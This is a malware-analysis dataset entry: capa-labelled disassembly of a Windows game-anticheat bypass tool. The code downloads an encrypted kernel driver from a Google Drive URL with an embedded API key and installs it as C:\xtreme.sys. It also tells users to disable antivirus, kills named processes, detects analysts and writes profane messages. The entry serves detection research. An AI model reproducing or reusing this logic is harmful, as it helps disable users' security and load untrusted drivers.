joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405a6b
Capabilities:
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0x1f8
lea rbp, [rsp + 0x80]
mov edx, 0x20
mov ecx, 0x10
call method.std.operator_std::_Ios_Openmode__std::_Ios_Openmode_
mov edx, eax
lea rax, [rbp - 0x60]
mov r8d, edx
lea rdx, str.info.txt
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream_char_const__std::_Ios_Openmode_
lea rax, [rbp - 0x60]
lea rdx, str.So__The_BYPASS_is_FAILED_Follow_the_Steps_n
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x60]
lea rdx, str.Step_1._Disable_All_Antivirus_and_windows_defender_n
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x60]
lea rdx, str.Step_2._Uinstall_Valorant_form_your_PC_n
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x60]
lea rdx, [0x00496c58]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x60]
lea rdx, str.Note:_Valorant_anticheat_blocks_driver_of_bypasss_so_you_need_to_uninstall_valorant_for_BYPASS_n
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x60]
lea rdx, str.Note:_Antiviruses_blocks_driver_of_bypasss_so_you_need_to_disable_antivirus_for_BYPASS_n
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x60]
lea rdx, [0x00496c58]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x60]
lea rdx, str.Please_use_32_bit_gameloop_for_bypass..............
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
lea rcx, str.info.txt
call sym.system
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.004689b0
jmp 0x405b7c
add rsp, 0x1f8
pop rbx
pop rbp
ret
Function at 0x405c0c
Capabilities:
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x51]
mov rcx, rax
call fcn.0044fb90
lea rdx, [rbp - 0x51]
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, str.sk.txt
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x45]
mov rcx, rax
call fcn.0044fb90
lea rdx, [rbp - 0x45]
lea rax, [rbp - 0x50]
mov r8, rdx
lea rdx, str.https:__www.googleapis.com_drive_v3_files_1KqBNLYSW_73v85oyARpF2ovjdpI9yDyW_altmediakeyAIzaSyD_QWLVRGx58NvbEhXEH5kknnFYpH20wmw
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.downloadFile_std::string__std::string_
mov dword [rbp - 0x44], eax
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.00459260
lea rax, [rbp - 0x45]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00459260
lea rax, [rbp - 0x51]
mov rcx, rax
call sym.std::allocator_char_::allocator__
cmp dword [rbp - 0x44], 0
js 0x405ce4
lea rdx, [0x00496dd2]
mov rcx, qword [0x0049c9d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov edx, 0xa
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.decrypt_dri__
jmp 0x405d56
lea rdx, str.Failed_to_download_driver.........._n
mov rcx, qword [0x0049c9d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rcx, str.pause
call sym.system
mov ecx, 1
call sym.exit
mov rbx, rax
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.00459260
jmp 0x405d21
lea rax, [rbp - 0x45]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00459260
jmp 0x405d3e
lea rax, [rbp - 0x51]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, rbx
mov rcx, rax
call dbg._Unwind_Resume
nop
add rsp, 0x48
pop rbx
pop rbp
ret
Function at 0x405d5d
Capabilities:
Delete file
Move file

Disassembly:
push rbp
push rbx
sub rsp, 0x3d8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x34c], 1
lea rax, [rbp + 0x170]
mov r8d, 4
lea rdx, str.sk.txt
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_char_const__std::_Ios_Openmode_
lea rax, [rbp - 0x60]
mov r8d, 4
lea rdx, str.s.sys
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream_char_const__std::_Ios_Openmode_
jmp 0x405de3
mov eax, dword [rbp + 0x34c]
mov edx, eax
movzx eax, byte [rbp + 0x34b]
add eax, edx
mov byte [rbp + 0x34b], al
movzx eax, byte [rbp + 0x34b]
movsx edx, al
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_
add dword [rbp + 0x34c], 1
lea rax, [rbp + 0x170]
lea rdx, [method.std.noskipws_std::ios_base_]
mov rcx, rax
call method.std::istream.operator___std::ios_base____std::ios_base__
mov rcx, rax
lea rax, [rbp + 0x34b]
mov rdx, rax
call fcn.0047cfc0
mov rdx, qword [rax]
sub rdx, 0x18
mov rdx, qword [rdx]
add rax, rdx
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator_void___const
test rax, rax
setne al
test al, al
jne 0x405daf
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
lea rax, [rbp + 0x170]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
lea rdx, str.C:xtreme.sys
lea rcx, str.s.sys
mov rax, qword [sym.imp.KERNEL32.dll_MoveFileA]
call rax
lea rcx, str.sk.txt
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.004689b0
lea rax, [rbp + 0x170]
mov rcx, rax
call fcn.00467540
jmp 0x405eb8
add rsp, 0x3d8
pop rbx
pop rbp
ret

Function at 0x405ec2
Capabilities:
Set console window title

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov edx, 0
lea rcx, str.SyzsCefRootWindow
mov rax, qword [sym.imp.USER32.dll_FindWindowA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x405f33
lea rcx, str.AppMarket.exe
call sym.TP_char_const_
lea rcx, str.syzs_dl_svr.exe
call sym.TP_char_const_
mov rax, qword [rbp - 8]
mov r9d, 0
mov r8d, 0
mov edx, 0x10
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SendMessageA]
call rax
lea rcx, str.Window_Closed...........
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call rax
mov ecx, 0x1f4
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x405eca
Function at 0x405fa0
Capabilities:
Create process on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x3c8
lea rbp, [rsp + 0x80]
mov edx, 0x20
mov ecx, 0x10
call method.std.operator_std::_Ios_Openmode__std::_Ios_Openmode_
mov edx, eax
lea rax, [rbp - 0x60]
mov r8d, edx
lea rdx, str.fuck.txt
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream_char_const__std::_Ios_Openmode_
lea rax, [rbp - 0x60]
lea rdx, str.Fuck_you_tencent_bitch..............._n
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x60]
lea rdx, str.Do_not_try_to_patch_my_bypass...................._n
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x60]
lea rdx, str.bypass_will_not_work_in_your_pc_tencent_bitch.............._n
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
mov edx, 0x20
mov ecx, 0x10
call method.std.operator_std::_Ios_Openmode__std::_Ios_Openmode_
mov edx, eax
lea rax, [rbp + 0x170]
mov r8d, edx
lea rdx, str.C:WindowsWeb_a.txt
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream_char_const__std::_Ios_Openmode_
lea rax, [rbp + 0x170]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
mov edx, 0
lea rcx, str.cmd.exe__c_fuck.txt
mov rax, qword [sym.imp.KERNEL32.dll_WinExec]
call rax
lea rax, [rbp + 0x170]
mov rcx, rax
call fcn.004689b0
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.004689b0
jmp 0x4060b7
add rsp, 0x3c8
pop rbx
pop rbp
ret
Function at 0x40618d
Capabilities:
Execute command
Query environment variable

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x80]
lea rcx, str.LOCALAPPDATA
call sym.getenv
mov qword [rbp - 0x58], rax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp qword [rbp - 0x58], 0
je 0x406222
mov rdx, qword [rbp - 0x58]
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.004592e0
lea rax, [rbp - 0x60]
lea rdx, str.ProgramsMicrosoft_VS_Code
mov rcx, rax
call method.std::string.operator_char_const_
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.folderExists_std::string_const_
test al, al
je 0x40625a
call sym.show_dumper_msg__
mov r9d, 0x41010
lea r8, str.Dumper.............
lea rdx, str.Fuck_you_dumper.........
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov ecx, 1
call sym.exit
lea rdx, str.Error:_Unable_to_retrieve_Local_AppData_folder_path.
mov rcx, qword [0x0049c9b0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rcx, str.pause
call sym.system
mov ecx, 1
call sym.exit
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00459260
jmp 0x406283
add rsp, 0x38
pop rbx
pop rbp
ret

Function at 0x406378
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov rcx, qword [rbp + 0x10]
call method.std::string.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0xffffffff
je 0x4063b3
mov eax, dword [rbp - 4]
and eax, 0x10
test eax, eax
je 0x4063b3
mov eax, 1
jmp 0x4063b8
mov eax, 0
add rsp, 0x30
pop rbp
ret
Function at 0x4063be
Capabilities:
Create process on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x3c8
lea rbp, [rsp + 0x80]
mov edx, 0x20
mov ecx, 0x10
call method.std.operator_std::_Ios_Openmode__std::_Ios_Openmode_
mov edx, eax
lea rax, [rbp - 0x60]
mov r8d, edx
lea rdx, str.fuck.txt
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream_char_const__std::_Ios_Openmode_
lea rax, [rbp - 0x60]
lea rdx, str.Fuck_you_dumper_bitch..............._n
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x60]
lea rdx, str.Do_not_try_to_dump_my_bypass...................._n
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x60]
lea rdx, str.you_have_1_more_chance_left_before_your_pc_is_permanently_banned_from_using_my_bypass.............._n
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
mov edx, 0x20
mov ecx, 0x10
call method.std.operator_std::_Ios_Openmode__std::_Ios_Openmode_
mov edx, eax
lea rax, [rbp + 0x170]
mov r8d, edx
lea rdx, str.C:WindowsWeb_a.txt
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream_char_const__std::_Ios_Openmode_
lea rax, [rbp + 0x170]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
mov edx, 0
lea rcx, str.cmd.exe__c_fuck.txt
mov rax, qword [sym.imp.KERNEL32.dll_WinExec]
call rax
lea rax, [rbp + 0x170]
mov rcx, rax
call fcn.004689b0
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.004689b0
jmp 0x4064d5
add rsp, 0x3c8
pop rbx
pop rbp
ret
Function at 0x406584
Capabilities:
Execute command
Query environment variable

Disassembly:
push rbp
push rbx
sub rsp, 0x208
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x60]
mov r8d, 8
lea rdx, str.C:_a.txt
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_char_const__std::_Ios_Openmode_
lea rax, [rbp - 0x60]
add rax, 0xd0
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator_void___const
test rax, rax
setne al
test al, al
je 0x4065e0
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
mov ebx, 0
jmp 0x406672
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
lea rcx, [0x00496003]
call sym.system
lea rcx, str.LOCALAPPDATA
call sym.getenv
mov qword [rbp + 0x178], rax
cmp qword [rbp + 0x178], 0
je 0x406635
mov rax, qword [rbp + 0x178]
mov rcx, rax
call sym.edge_ad_blocker_char_const_
mov rax, qword [rbp + 0x178]
mov rcx, rax
call sym.chrome_ad_blocker_char_const_
jmp 0x40666d
lea rdx, str.Error:_Unable_to_retrieve_Local_AppData_folder_path.
mov rcx, qword [0x0049c9b0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rcx, str.pause
call sym.system
mov ecx, 1
call sym.exit
mov ebx, 1
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00467540
cmp ebx, 1
je 0x406685
jmp 0x4066a3
nop
jmp 0x4066a3
add rsp, 0x208
pop rbx
pop rbp
ret
Function at 0x4066ad
Capabilities:
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x80]
mov qword [rbp - 0x10], rcx
lea rax, [rbp - 0x31]
mov rcx, rax
call fcn.0044fb90
lea rdx, [rbp - 0x31]
lea rax, [rbp - 0x40]
mov r8, rdx
mov rdx, qword [rbp - 0x10]
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x31]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x50]
lea rdx, [rbp - 0x40]
lea r8, str.GoogleChromeUser_DataDefaultExtensionscjpalhdlnbpafiamejdnhcphjbkeiagm
mov rcx, rax
call method.std::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp - 0x60]
lea rdx, [rbp - 0x40]
lea r8, str.GoogleChromeUser_DataDefaultExtensionsgekdekpbfehejjiecgonmgmepbdnaggp
mov rcx, rax
call method.std::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.folderExists_std::string_const_
test al, al
je 0x406777
lea rdx, str.Please_remove_that_ad_blocker_from_chrome............................_n
mov rcx, qword [0x0049c9d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov r9d, 0x41010
lea r8, [0x004971ef]
lea rdx, str.Please_remove_that_ad_blocker_from_chrome.................
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
lea rcx, str.pause
call sym.system
mov ecx, 1
call sym.exit
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.folderExists_std::string_const_
test al, al
je 0x4067d2
lea rdx, str.Please_remove_ublock_origin_from_chrome............................_n
mov rcx, qword [0x0049c9d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov r9d, 0x41010
lea r8, [0x004971ef]
lea rdx, str.Please_remove_ublock_origin_from_chrome.................
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
lea rcx, str.pause
call sym.system
mov ecx, 1
call sym.exit
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00459260
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.00459260
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00459260
jmp 0x40684f
add rsp, 0x58
pop rbx
pop rbp
ret
Function at 0x406856
Capabilities:
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x80]
mov qword [rbp - 0x10], rcx
lea rax, [rbp - 0x31]
mov rcx, rax
call fcn.0044fb90
lea rdx, [rbp - 0x31]
lea rax, [rbp - 0x40]
mov r8, rdx
mov rdx, qword [rbp - 0x10]
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x31]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x50]
lea rdx, [rbp - 0x40]
lea r8, str.MicrosoftEdgeUser_DataDefaultExtensionscjpalhdlnbpafiamejdnhcphjbkeiagm
mov rcx, rax
call method.std::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp - 0x60]
lea rdx, [rbp - 0x40]
lea r8, str.MicrosoftEdgeUser_DataDefaultExtensionskkkldohdhcfhpjchcefpkfhjfeapdmek
mov rcx, rax
call method.std::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.folderExists_std::string_const_
test al, al
je 0x406920
lea rdx, str.Please_remove_that_ad_blocker_from_edge............................_n
mov rcx, qword [0x0049c9d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov r9d, 0x41010
lea r8, [0x004971ef]
lea rdx, str.Please_remove_that_ad_blocker_from_edge.................
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
lea rcx, str.pause
call sym.system
mov ecx, 1
call sym.exit
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.folderExists_std::string_const_
test al, al
je 0x40697b
lea rdx, str.Please_remove_ublock_origin_from_edge............................_n
mov rcx, qword [0x0049c9d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov r9d, 0x41010
lea r8, [0x004971ef]
lea rdx, str.Please_remove_ublock_origin_from_edge.................
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
lea rcx, str.pause
call sym.system
mov ecx, 1
call sym.exit
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00459260
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.00459260
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00459260
jmp 0x4069f8
add rsp, 0x58
pop rbx
pop rbp
ret
Function at 0x406af5
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov eax, 0x130
mov dword [rbp - 0x60], eax
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0xd8], rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sym.Process32First
cmp eax, 1
sete al
test al, al
je 0x406b81
jmp 0x406b64
lea rax, [rbp - 0x60]
add rax, 0x2c
lea rdx, str.AndroidEmulatorEn.exe
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x406b64
mov eax, 1
jmp 0x406b99
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sym.Process32Next
cmp eax, 1
sete al
test al, al
jne 0x406b42
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x160
pop rbp
ret

Function at 0x406ba2
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov eax, 0x130
mov dword [rbp - 0x60], eax
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0xd8], rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sym.Process32First
cmp eax, 1
sete al
test al, al
je 0x406c6b
jmp 0x406c4e
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, qword [rbp + 0xf0]
mov rcx, rax
call sym.stricmp
test eax, eax
sete al
test al, al
je 0x406c4e
mov eax, dword [rbp - 0x58]
mov r8d, eax
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0xd0], rax
mov rax, qword [rbp + 0xd0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sym.Process32Next
cmp eax, 1
sete al
test al, al
jne 0x406bf6
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x160
pop rbp
ret